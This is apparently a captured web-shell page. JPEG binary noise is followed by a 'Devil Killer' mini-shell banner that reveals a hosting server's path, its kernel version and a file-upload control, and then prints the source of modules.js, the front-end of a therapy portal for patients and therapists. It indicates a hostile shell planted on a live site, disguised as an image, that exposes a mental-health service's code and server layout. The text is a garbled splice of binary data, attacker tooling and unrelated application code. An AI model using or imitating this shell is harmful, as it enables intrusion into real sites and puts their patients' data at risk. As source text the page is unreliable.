JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/sb_web/sb_web/web/b1536/advancedfunctions.co/safespacehelp/

Linux boscustweb5001.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/sb_web/sb_web/web/b1536/advancedfunctions.co/safespacehelp/modules.js

var sendMode='';
var googleSheetsPortalScript='https://script.google.com/macros/s/AKfycbzYaj0KlVVYWSKLbg_cjwLMtWsbqJeqtRFZqr09Cd3T72Ajlc2-/exec';
var popupPanel='';
var firstName='';
var lastName='';
var email='';
var password='';
var currentPassword='';
var conversationId='';
var conversation='';
var months=['January','February','March','April','May','June','July','August','September','October','November','December'];
var role='patient';
var chatNumbers=[];
var array=[];
var chatArray=[];
var patientToMatch='';
var therapistToMatch='';
var profilePicture='';
var description='';

var myProfilePic='';
var myName='';
var myProfileDescription='';

var partnerProfilePic='';
var partnerName='';
var partnerProfileDescription='';

var conversationDataAsString='';
var profilesArray=[];
var resourcesArray=[];
var meetingTimesArray=[];
var conversationData=[];

var currentProfile='';
var currentResources='';
var currentMeetingTimes='';
var waitForConversationToUpdate=false;

var profileArrayData='';
var autoCheckRunning=false;

var patientJustRegistered=false;
var therapistJustRegistered=false;

function setMode(modeToSend){
role=modeToSend;
}

function getLive(array){
return "<div id='meetingTimeToDisplay'></div>";
}

function showMeetingTimes(array){
var liveUi='';
var meetingIcon="<i class=\'fa fa-video-camera\'></i>";
var addMeeting= "<div style='margin-top:10px;margin-bottom:10px; width:100%;font: 18px Calibri;padding:5px 5px;text-align:center;cursor:pointer;' class='onHover' onclick='javascript:toggle(&#39;editMeetingTimes&#39;)'><i class='fas fa-edit' ></i> Edit</div><div id='editMeetingTimes' style='padding:15px 12px;font:20px Calibri;height:200px;border:1px solid lightgray;-moz-border-radius:10px;-webkit-border-radius:10px;border-radius:10px;display:none;' onclick='javascript:removeMeetingTimesWarning()'><input id='zoomLink' placeholder='&#9990; &nbsp;Enter zoom link' style='width:100%;margin-bottom:20px;margin-right:5px;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;padding:10px 10px;border:none;box-shadow: 0px 1px 1px 0px rgba(0,0,0,0.2);' ></input><div>"+"<div style='width:520px;height:50px;margin-bottom:20px;position:relative;left:50%;transform:translate(-50%,0%);'>"+getDay()+getDuration()+getHour()+getMinutes()+getAMPM()+"</div><div style='width:100%;text-align:center;-moz-border-radius:50px;-webkit-border-radius:50px;border-radius:50px;padding:5px 5px;float:left;cursor:pointer;' class='onHover'  onclick='javascript:setTimeout(function(){saveMeetingTimes();},100)' id='addNewSessionButton'>&#8853;&nbsp;&nbsp;Add new session</div></div></div>";



if(role=='patient'){
for(var i=0;i<array.length&&array[i]!='';i=i+2){
liveUi=liveUi+"<div class='onHover' style='font:1.25vw Calibri;padding:15px 12px;'><div onclick='javascript:{window.open(&#39;"+array[i]+"&#39;,&#39;_blank&#39;);}' style='cursor:pointer;' class='onHover'>"+meetingIcon+"&nbsp;&nbsp;&nbsp;"+array[i+1]+"</div></div>";
}

document.getElementById('meetingTimeToDisplay').innerHTML="<div id='live' style='display:none;padding:15px 12px;font:20px Calibri;' >"+liveUi+"</div></div>";
}


if(role=='therapist'){
for(var i=0;i<array.length&&array[i]!='';i=i+2){
liveUi=liveUi+"<div class='onHover' style='font:20px Calibri;padding:15px 12px;'><div onclick='javascript:{window.open(&#39;"+array[i]+"&#39;,&#39;_blank&#39;);}'  class='onHover' style='cursor:pointer;display:inline-block;'>"+meetingIcon+"&nbsp;&nbsp;&nbsp;"+array[i+1]+"</div><span style='float:right'><div onclick='javascript:removeMeeting(&#39;"+array[i]+"&#39;,&#39;"+array[i+1]+"&#39;)' style='display:inline-block;color:lightgray;cursor:pointer;' >remove</div></span></div>";
}

document.getElementById('meetingTimeToDisplay').innerHTML="<div id='live' style='display:none;padding:15px 12px;font:20px Calibri;' >"+liveUi+addMeeting+"</div></div>"
}

}

function removeMeeting(url,meetingTime){
sendDataToGoogleSheets(['removeMeeting',firstName,lastName,url,meetingTime,conversationId],googleSheetsPortalScript);
setUpdating();
}

function getWorksheets(array){
var resourcesUi='';
return "<div id='resourcesToDisplay'></div>";
}

function showResources(array){
var resourcesToShow='';
var resourceIcon='';
var addWorksheet="<div style='margin-top:10px;margin-bottom:10px; width:100%;font: 18px Calibri;padding:5px 5px;text-align:center;cursor:pointer;' class='onHover' onclick='javascript:toggle(&#39;editResources&#39;)'><i class='fas fa-edit' ></i> Edit</div><div id='editResources' style='font:20px Calibri;padding:15px 12px;height:320px;border:1px solid lightgray;-moz-border-radius:10px;-webkit-border-radius:10px;border-radius:10px;display:none;' onclick='javascript:removeResourcesWarning()'><div style='margin-bottom:40px;position:relative;left=0px;'><select id='resourceType' onchange='javascript:setResourceType(this.value)'><option onclick='javascript:setEnabled(&#39;resourceUploader&#39;,false),setEnabled(&#39;websiteUrl&#39;,false),setEnabled(&#39;resourceTitle&#39;,false);' value='fileType'>File Type</option><option value='document' onClick='javascript:setEnabled(&#39;resourceUploader&#39;,true),setEnabled(&#39;websiteUrl&#39;,false),setEnabled(&#39;resourceTitle&#39;,true);'>Document</option><option value='video' onclick='javascript:setEnabled(&#39;resourceUploader&#39;,true),setEnabled(&#39;websiteUrl&#39;,false),setEnabled(&#39;resourceTitle&#39;,true);'>Video</option><option value='url' onclick='javascript:setEnabled(&#39;websiteUrl&#39;,true);setEnabled(&#39;resourceUploader&#39;,false),setEnabled(&#39;resourceTitle&#39;,true);' id='URL'>URL</option></select></div><div style='height:80px'><input id='resourceUploader' type='file' style='float:left;margin-right:5px;margin-bottom:20px;' disabled=true></input><input id='websiteUrl' placeholder='Website URL' style='width:100%; margin-bottom:40px; float:left;margin-right:5px;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;padding:10px 10px;border:none;box-shadow: 0px 1px 1px 0px rgba(0,0,0,0.2);' disabled=true></input></div><div  style='height:80px'><input placeholder='Title of file' id='resourceTitle' disabled=false style='width:100%;float:left;margin-bottom:10px;margin-right:5px;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;padding:10px 10px;border:none;box-shadow: 0px 1px 1px 0px rgba(0,0,0,0.2);'></input><div style='width:100%;text-align:center;-moz-border-radius:50px;-webkit-border-radius:50px;border-radius:50px;padding:5px 5px;float:left;cursor:pointer;' class='onHover' id='addNewResourceButton' onclick='javascript:setTimeout(function(){saveResource();},100)' >&#8853;&nbsp;&nbsp;Add new resource</div></div></div>";


if(role=='patient'){
for(var i=0;i<array.length;i=i+3){
if(array[i]=='document'){
resourceIcon="<i class=\'fa fa-book\'></i>";}
if(array[i]=='video'){
resourceIcon="<i class='fa fa-film'></i>";}
if(array[i]=='url'){
resourceIcon="<i class='far fa-window-restore'></i>";}

if(resourceIcon!=''){
resourcesToShow=resourcesToShow+"<div class='onHover' style='font:1.25vw Calibri;padding:15px 12px;'><div onclick='javascript:{window.open(&#39;"+array[i+2]+"&#39;,&#39;_blank&#39;);}' style='cursor:pointer;' class='onHover'>"+resourceIcon+"&nbsp;&nbsp;&nbsp;"+array[i+1]+"</div></div>";}
}
document.getElementById('resourcesToDisplay').innerHTML="<div id='resources' style='display: none; padding: 15px 12px; font: 20px Calibri;' >"+resourcesToShow+"</div>";
}

if(role=='therapist'){
for(var i=0;i<array.length;i=i+3){
if(array[i]=='document'){
resourceIcon="<i class=\'fa fa-book\'></i>";}
if(array[i]=='video'){
resourceIcon="<i class='fa fa-film'></i>";}
if(array[i]=='url'){
resourceIcon="<i class='far fa-window-restore'></i>";}

if(resourceIcon!=''){
resourcesToShow=resourcesToShow+"<div class='onHover' style='font:20px Calibri;padding:15px 12px;'><div onclick='javascript:{window.open(&#39;"+array[i+2]+"&#39;,&#39;_blank&#39;);}'  style='cursor:pointer;display:inline-block;' class='onHover'>"+resourceIcon+"&nbsp;&nbsp;&nbsp;"+"<xmp style='font:20px Calibri;display:inline-block;margin:0px;'>"+array[i+1]+"</xmp>"+"</div><span style='float:right'><div onclick='javascript:removeResource(&#39;"+array[i+1]+"&#39;,&#39;"+array[i+2]+"&#39;)' style='cursor:pointer;display:inline-block;color:lightgray;' >remove</div></span></div>";}
}
document.getElementById('therapistViewAreaScreen').style.display='none';
document.getElementById('therapistDisplay').style.display='none';
document.getElementById('resourcesToDisplay').innerHTML="<div id='resources' style='display: none; padding: 15px 12px; font: 20px Calibri;' >"+resourcesToShow+addWorksheet+"</div>";
removeUpdating();
}

}

function setResourceType(resourceType){

if(resourceType=='fileType'){
setEnabled('resourceUploader',false);
setEnabled('websiteUrl',false);
setEnabled('resourceTitle',false);}

if(resourceType=='document'){
setEnabled('resourceUploader',true);
setEnabled('websiteUrl',false);
setEnabled('resourceTitle',true);}

if(resourceType=='video'){
setEnabled('resourceUploader',true);
setEnabled('websiteUrl',false);
setEnabled('resourceTitle',true);}

if(resourceType=='url'){
setEnabled('resourceUploader',false);
setEnabled('websiteUrl',true);
setEnabled('resourceTitle',true);}

}


function removeResource(title,url){
sendDataToGoogleSheets(['removeResource',firstName,lastName,title,url,conversationId],googleSheetsPortalScript);
setUpdating();
}
function getContacts(){
return "<div id='contacts' style='display:none;margin-left:10px;margin-bottom:10px;' >"+getSearchBarUi(true)+"</div>";
}

function getPatients(){
return "<div id='patients' style='display:none;margin-left:10px;margin-bottom:10px;' ><div id='patientsBody' ></div></div>";

}

function getMyProfile(){

return "<div class='autoScroll' id='myProfile' style='height:70vh;display:none;margin-left:10px;margin-bottom:10px;' ><div style='height:20vh;width:100%;'><div style='height:20vh;width:100%;'><div style='background-color:white;width:16vh;height:16vh;position:relative;top:2vh;left:50%;transform:translate(-50%,0%);-moz-border-radius:8vh;-webkit-border-radius:8vh;border-radius:8vh;overflow:hidden;'><div id='myProfilePic' style='position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);font: 8vh Arial;'></div></div></div><h3 style='text-align:center;color:tomato;'><div id='myProfileName'></div></h3><div id='myProfileDescription' style='padding:20px 20px;width:44.5vw;position:relative;left:50%;transform:translate(-50%,0%);border-top:1px solid lightgray;'></div><div onclick='javascript:toggle(&#39;editProfile&#39;)' style='cursor:pointer'><div style='margin-top:10px;margin-bottom:10px; width:100%;font: 18px Calibri;padding:5px 5px;text-align:center;' class='onHover'><i class='fas fa-edit' ></i> Edit</div></div><div id='editProfile' style='display:none;'><div style='width:44.5vw;padding:10px 10px;-moz-border-radius:10px;-webkit-border-radius:10px;border-radius:10px;border:1px solid lightgray;font: 18px Calibri'>Upload picture<input type='file' id='profilePictureUploader' style='margin-bottom:20px;margin-top:20px;'></input></div><div><textarea id='myProfileDescriptionToSave' placeholder='Write something about yourself.' style='margin-top:20px;width:44.5vw;box-shadow: 0px 1px 1px 0px rgba(0, 0, 0, 0.2);background-color:white;z-index:2;padding:10px 10px;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;border:none;margin-bottom:20px' ></textarea><div onclick='javascript:saveMyProfile()' style='cursor:pointer;' ><div style='margin-bottom:20px; width:100%;font: 18px Calibri;padding:5px 5px;text-align:center;' class='onHover'><i class='fas fa-save' ></i> Save</div></div></div></div></div>";
}

function saveMyProfile(){
var profilePictureToSave=document.getElementById('profilePictureUploader').files[0];
var profilePictureDimensions='';
var myProfileDescriptionToSave=getFieldText('myProfileDescriptionToSave');
var fileReader=new FileReader();
var rawFile='';

fileReader.onload=function(){
rawFile=fileReader.result;
var myProfilePictureData=rawFile.substring(rawFile.indexOf('base64,')+7,rawFile.length);
sendDataToGoogleSheets(['saveMyProfile',role,myProfilePictureData,profilePictureToSave.type,profilePictureDimensions,firstName,lastName,myProfileDescriptionToSave,conversationId],googleSheetsPortalScript);
setUpdating();
}

if(profilePictureToSave==undefined){
sendDataToGoogleSheets(['saveMyProfile',role,'','',profilePictureDimensions,firstName,lastName,myProfileDescriptionToSave,conversationId],googleSheetsPortalScript);
setUpdating();
}else{
fileReader.readAsDataURL(profilePictureToSave);}
}

function saveResource(){
var resourceToSave=document.getElementById('resourceUploader').files[0];
var websiteUrlToSave=getFieldText('websiteUrl');
var resourceTitleToSave=getFieldText('resourceTitle');
var resourceIndexToSave=0;
var fileReader=new FileReader();
var rawFile='';
var resourceType=document.getElementById('resourceType').value;

var allFieldsCompleted=true;

if(resourceType=='fileType'){
allFieldsCompleted=false;
document.getElementById('addNewResourceButton').innerHTML="<i class='fas fa-exclamation-triangle' style='color:orange'></i> File type not selected";
}
if((resourceType=='document'||resourceType=='video')&&(resourceTitleToSave==''||typeof resourceToSave=='undefined')){
allFieldsCompleted=false;
if(resourceTitleToSave==''){
document.getElementById('addNewResourceButton').innerHTML="<i class='fas fa-exclamation-triangle' style='color:orange'></i> Resource title missing";}
if(typeof resourceToSave=='undefined'){
document.getElementById('addNewResourceButton').innerHTML="<i class='fas fa-exclamation-triangle' style='color:orange'></i> No file selected";}
}
if(resourceType=='url'&&(resourceTitleToSave==''||websiteUrlToSave=='')){
allFieldsCompleted=false;
if(resourceTitleToSave==''){
document.getElementById('addNewResourceButton').innerHTML="<i class='fas fa-exclamation-triangle' style='color:orange'></i> Resource title missing";}
if(websiteUrlToSave==''){
document.getElementById('addNewResourceButton').innerHTML="<i class='fas fa-exclamation-triangle' style='color:orange'></i> Website URL missing";}
}

if(allFieldsCompleted){
fileReader.onload=function(){
rawFile=fileReader.result;
var resourceData=rawFile.substring(rawFile.indexOf('base64,')+7,rawFile.length);
sendDataToGoogleSheets(['saveResource',role,resourceType,resourceData,resourceToSave.type,websiteUrlToSave,resourceTitleToSave,firstName,lastName,conversationId],googleSheetsPortalScript);
}

if(websiteUrlToSave!=''){
sendDataToGoogleSheets(['saveResource',role,resourceType,'','',websiteUrlToSave,resourceTitleToSave,firstName,lastName,conversationId],googleSheetsPortalScript);
}else{
fileReader.readAsDataURL(resourceToSave);}
setUpdating();
}

}

function removeResourcesWarning(){
document.getElementById('addNewResourceButton').innerHTML="&#8853;&nbsp;&nbsp;Add new resource";
}

function saveMeetingTimes(){
var zoomLink=document.getElementById('zoomLink').value;
var meetingTime=document.getElementById('getDay').value+' '+document.getElementById('getHour').value+':'+document.getElementById('getMinute').value+' '+document.getElementById('getAMPM').value+' ('+document.getElementById('getDuration').value+')';

var allFieldsCompleted=true;

if(document.getElementById('getAMPM').value=='AM/PM'){
allFieldsCompleted=false;
document.getElementById('addNewSessionButton').innerHTML="<i class='fas fa-exclamation-triangle' style='color:orange'></i> AM/PM not selected";
}
if(document.getElementById('getMinute').value=='Minute'){
allFieldsCompleted=false;
document.getElementById('addNewSessionButton').innerHTML="<i class='fas fa-exclamation-triangle' style='color:orange'></i> Minute not selected";
}
if(document.getElementById('getHour').value=='Hour'){
allFieldsCompleted=false;
document.getElementById('addNewSessionButton').innerHTML="<i class='fas fa-exclamation-triangle' style='color:orange'></i> Hour not selected";
}
if(document.getElementById('getDuration').value=='Duration'){
allFieldsCompleted=false;
document.getElementById('addNewSessionButton').innerHTML="<i class='fas fa-exclamation-triangle' style='color:orange'></i> Duration not selected";
}
if(document.getElementById('getDay').value=='Day'){
allFieldsCompleted=false;
document.getElementById('addNewSessionButton').innerHTML="<i class='fas fa-exclamation-triangle' style='color:orange'></i> Day not selected";
}
if(document.getElementById('zoomLink').value==''){
allFieldsCompleted=false;
document.getElementById('addNewSessionButton').innerHTML="<i class='fas fa-exclamation-triangle' style='color:orange'></i> Link missing";
}

if(allFieldsCompleted){
sendDataToGoogleSheets(['saveMeeting',zoomLink,meetingTime,firstName,lastName,conversationId],googleSheetsPortalScript);
setUpdating();}
}

function removeMeetingTimesWarning(){
document.getElementById('addNewSessionButton').innerHTML="&#8853;&nbsp;&nbsp;Add new session";
}

function getPatientsProfile(){
return "<div id='patientsProfile' style='display:none;margin-left:10px;margin-bottom:10px;' ><div id='patientsProfileDescription' class='autoScroll'  style='padding:20px 20px;width:45vw;height:70vh;-moz-border-radius:10px;-webkit-border-radius:10px;border-radius:10px;position:relative;left:50%;transform:translate(-50%,0%);'></div></div>";
}

function getPartnerProfile(){
return "<div id='partnerProfile' style='display:none;margin-left:10px;margin-bottom:10px;' ><div style='height:20vh;width:100%;'><div style='background-color:white;width:16vh;height:16vh;position:relative;top:2vh;left:50%;transform:translate(-50%,0%);-moz-border-radius:8vh;-webkit-border-radius:8vh;border-radius:8vh;overflow:hidden;'><div id='partnerProfilePic' style='position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);font: 8vh Arial;'></div></div></div><h3 style='text-align:center;color:tomato;'><div id='partnerProfileName'></div></h3><div id='partnerProfileDescription' style='padding:20px 20px;width:45vw;position:relative;left:50%;transform:translate(-50%,0%);border-top:1px solid lightgray;'></div></div>";
}

function getTherapists(){
var therapistList="<div ><div style='width:72vw;height:7vh;position:fixed;top:16vh;left:24vw;z-index:3;padding:10px 20px;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;float:left;font: 1.1vw Arial;display: block;' ><div id='caretToFlip' style='color:dodgerblue;position:absolute;top:50%;left:1vw;transform:translate(0%,-50%);pointer:coursor;' onclick='javascript:flipCaret(),toggle(&#39;patientProfilePrompt&#39;)' >View patient profile</div><div style='position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)' id='patientTherapistMatchingPrompt' >Select a patient</div><div style='position:absolute;top:50%;right:1vw;transform:translate(0%,-50%);'><input type='checkbox' id='enableSignup' onclick='javascript:{console.log(this.checked);sendDataToGoogleSheets([&#39;setSignupMode&#39;,this.checked],googleSheetsPortalScript);}'><label for='enableSignup' style='font: 1.1vw Arial;cursor:pointer;'>&nbsp;Enable signup</label></div></div></div><div class='autoScroll' id='therapists' style='margin-left:10px;margin-bottom:10px;height:60vh;display:none;' ><textarea style='width:45vw;height:60vh;position:fixed;left:37.5vw;top:25vh;box-shadow: 0px 4px 4px 4px rgba(0, 0, 0, 0.2);background-color:white;z-index:2;padding:5vw;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;border:none;display:none;' class='autoScroll' id='patientProfilePrompt' readonly></textarea><div id='therapistsBody' ></div></div>";
return therapistList;
}

function flipCaret(){
var elementId=document.getElementById('caretToFlip').innerHTML;

console.log(elementId,elementId=='View providers');
if(elementId=='View providers'){
document.getElementById('caretToFlip').innerHTML='View patient profile';}else{
document.getElementById('caretToFlip').innerHTML='View providers';
}

}

function getChat(array){
var chat='';

chat=chat+"<div style='margin-left:10px;display: grid;grid-template-rows: auto 160px;display:none;'  id='chatWindow'>";///

chat=chat+"<div style='width:100%;height:54vh;display:flex;flex-direction:column-reverse;' class='autoScroll' ><div id='conversationBody' ></div></div>";

chat=chat+"<div style='position:relative;bottom:0px;width:100%;padding-right:0px;'>";//

chat=chat+"";

//chat=chat+"<div style='position:absolute;left:50%;transform:translate(-50%,0%);width:200px;text-align:center;box-shadow: 0px 4px 4px 4px rgba(0, 0, 0, 0.2);background-color:white;z-index:2'>21 September 2009</div>";

chat=chat+ "<form action='javascript:sendText()' autocomplete='off' ><textarea id='textToSend' style='position:relative;padding:10px 10px;width:100%;height:10vh;resize:none;margin-bottom:10px;border-bottom:none;border-left:none;border-right:none;outline:none;background-color:rgba(0,0,0,0);font:1.1vw Calibri;' placeholder='Write something...'></textarea><div style='position:relative;float:right;margin-bottom:10px;' ><input id='sendButton' type='submit' value='Send'></div></form>";

chat=chat+"</div>";//

chat=chat+"</div>";///

return chat;
}

function getCalendar(){
var calendar='';
var namesOfDays=['So','Mo','Tu','We','Th','Fr','Sa'];
calendar="<div style='margin-bottom:5px;overflow:auto;'><div style='-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;background-color:darkgray;color:white;padding:5px 5px;float:left'><</div><div style='padding:5px 5px;float:left;background-color:white;'>September</div><div style='-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;background-color:darkgray;color:white;padding:5px 5px;float:left';>></div></div><div style='clear:left'></div>";
for(var i=0;i<7;i++){
calendar=calendar+"<div style='float:left;width:50px;padding:10px 10px;background-color:gray;color:white;text-align:center;'>"+namesOfDays[i]+"</div>";}

for(var week=0;week<5;week++){
calendar=calendar+"<div style='clear:left'></div>";
for(var day=0;day<7;day++){
calendar=calendar+"<div style='float:left;width:50px;padding:10px 10px;background-color:lightgray;color:black;text-align:center;'>"+day+"</div>";
}
}

//calendar=calendar+"<div style='clear:left'><h5 style='padding:20px 5px;'>Appointment: 12 September 2021| 3:30 p.m.</h5></div>";
return "<h3 style='background-color:black;color:white;margin-left:10px;padding:5px 5px;' onclick=javascript:toggle(\'calendar\')>Schedule appointment</h3><div id='calendar' style='display:none;margin-left:10px;margin-bottom:10px;overflow:auto;'>"+calendar+"</div>";
}
function getBody(myProfile,partnerProfile,contacts,worksheets,chats,patients,therapists,live,patientProfile){

return "<div id='myProfileUi'>"+myProfile+"</div><div id='partnerProfileUi'>"+partnerProfile+"</div><div id='patientsProfileUi'>"+patientProfile+"</div><div id='contactsUi'>"+contacts+"</div><div id='worksheetsUi'>"+worksheets+"</div><div id='liveUi'>"+live+"</div><div id='patientsUi'>"+patients+"</div><div id='chatsUi'>"+chats+"</div><div id='therapistsUi'>"+therapists+"</div>";

}

function displayCorrectBlocks(){
if(role=='patient'){
document.getElementById('myProfileUi').style.display='block';
document.getElementById('partnerProfileUi').style.display='block';
document.getElementById('worksheetsUi').style.display='block';
document.getElementById('patientsUi').style.display='none';
document.getElementById('contactsUi').style.display='block';
document.getElementById('chatsUi').style.display='block';
document.getElementById('therapistsUi').style.display='none';
document.getElementById('liveUi').style.display='block';
document.getElementById('patientsProfileUi').style.display='none';
}
if(role=='therapist'){
document.getElementById('myProfileUi').style.display='block';
document.getElementById('partnerProfileUi').style.display='block';
document.getElementById('worksheetsUi').style.display='block';
document.getElementById('patientsUi').style.display='none';
document.getElementById('contactsUi').style.display='block';
document.getElementById('chatsUi').style.display='block';
document.getElementById('therapistsUi').style.display='none';
document.getElementById('liveUi').style.display='block';
document.getElementById('patientsProfileUi').style.display='block';
}

if(role=='admin'){
document.getElementById('myProfileUi').style.display='none';
document.getElementById('partnerProfileUi').style.display='none';
document.getElementById('worksheetsUi').style.display='none';
document.getElementById('patientsUi').style.display='block';
document.getElementById('contactsUi').style.display='none';
document.getElementById('chatsUi').style.display='none';
document.getElementById('therapistsUi').style.display='block';
document.getElementById('liveUi').style.display='none';
document.getElementById('patientsProfileUi').style.display='none';
}
}

function toggle(item){
if(document.getElementById(item).style.display=='block'){
document.getElementById(item).style.display='none';
}else{
document.getElementById(item).style.display='block';}
}

function getLogin(elementId){
popupPanel=elementId;
resetUi();
makePicture('saceSpaceHighContrastTransparency.png');
makeTitle('Login');
makeField('Email address');
makePasswordField('Password');
var loginUi="<div  style='height:580px;-moz-border-radius:10px;-webkit-border-radius:10px;border-radius:10px;box-shadow: 0px 4px 8px 4px rgba(0,0,0,0.2);width:400px;position:fixed;left:50%;top:50px;transform:translate(-50%,0%);z-index:2;background-color:white;margin-bottom:0px;' onclick='javascript:clearPopupStatus()'>"+getFormUiAsString()+"<div style='margin-top:0px;margin-left:25px;margin-right:25px;'><button onclick='javascript:getSignup(&#39;"+elementId+"&#39;)' style='font:22px Calibri;width:100%;background-color:white;padding:6px 6px;box-shadow: 0px 1px 1px 0px rgba(0,0,0,0.2);color:black;-moz-border-radius:4px;-webkit-border-radius:4px;border-radius:4px;border:none;'>Register</button><div style='text-align:center;position:relative;left:50%;transform:translate(-50%,0%);font:14px Calibri;margin-top:50px;font:18px Calibri;' id='popupStatus'>&nbsp;</div><div style='margin-top:30px;font:18px Calibri;'><span onclick='javascript:getForgotPassword(&#39;"+elementId+"&#39;)' style='color:dodgerblue;cursor:pointer;margin-right:5px;'>Forgot password</span>|<span onclick='javascript:getResetPassword(&#39;"+elementId+"&#39;)' style='color:dodgerblue;cursor:pointer;margin-left:5px;'>Change password</span></div></div></div>";
document.getElementById('popupPanel').style.display='block';
document.getElementById(elementId).innerHTML=loginUi;
sendMode='login';
}

function getSignup(elementId){
resetUi();
makePicture('saceSpaceHighContrastTransparency.png');
makeTitle('Signup');
makeField('First name');
makeField('Last name');
makeField('Enter email address');
makePasswordField('Password (atleast 8 characters)');
makePasswordField('Re-enter password');

